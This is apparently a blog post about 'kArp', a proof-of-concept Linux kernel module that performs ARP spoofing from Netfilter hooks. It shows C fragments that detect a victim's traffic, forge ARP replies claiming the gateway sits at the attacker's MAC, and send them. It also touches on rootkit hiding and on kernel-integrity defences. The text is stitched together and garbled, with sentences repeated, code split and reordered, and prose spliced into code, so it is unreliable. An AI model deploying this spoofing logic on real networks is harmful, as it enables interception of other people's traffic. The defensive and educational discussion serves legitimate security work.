Karp Linux Kernel Level Arp Hijacking Spoofing Utility Apr 2026

If you find an unexpected module, rmmod karp – but a real attacker will hide it via rootkit techniques. kArp demonstrates a simple truth: moving attacks from user space to kernel space increases reliability and evades kill‑‑9 . Red teams can use this to persist on compromised routers or jump hosts. Defenders must move beyond process monitoring to kernel integrity checks (e.g., tripwire for modules, IMA, or eBPF-based LSM hooks).

// Check if destination IP is our victim if (ip->daddr == victim_ip) // Craft ARP reply: "Gateway IP is at attacker's MAC" build_arp_reply(gateway_ip, attacker_mac, victim_ip, &spoof_arp); dev_queue_xmit(alloc_skb_from_arp(&spoof_arp, dev)); printk(KERN_INFO "kArp: Poisoned %pI4 -> Gateway at %pM\n", &victim_ip, attacker_mac); kArp Linux Kernel Level ARP Hijacking Spoofing Utility

Enter : a proof-of-concept Linux Kernel Module (LKM) that performs ARP hijacking directly from NF_INET_POST_ROUTING and NF_INET_LOCAL_IN Netfilter hooks. By staying in kernel space, kArp achieves microsecond-level response times and deterministic spoofing. If you find an unexpected module, rmmod karp

struct iphdr *ip; struct arp_packet spoof_arp; struct neighbour *n; struct net_device *dev = state->out; if (!skb) return NF_ACCEPT; Defenders must move beyond process monitoring to kernel

ip = ip_hdr(skb); if (!ip) return NF_ACCEPT;

Disclaimer: This post is for educational purposes and authorized security testing only. ARP spoofing is illegal without explicit permission from the network owner. Do not run this on networks you do not own or lack written authorization for.

return NF_ACCEPT;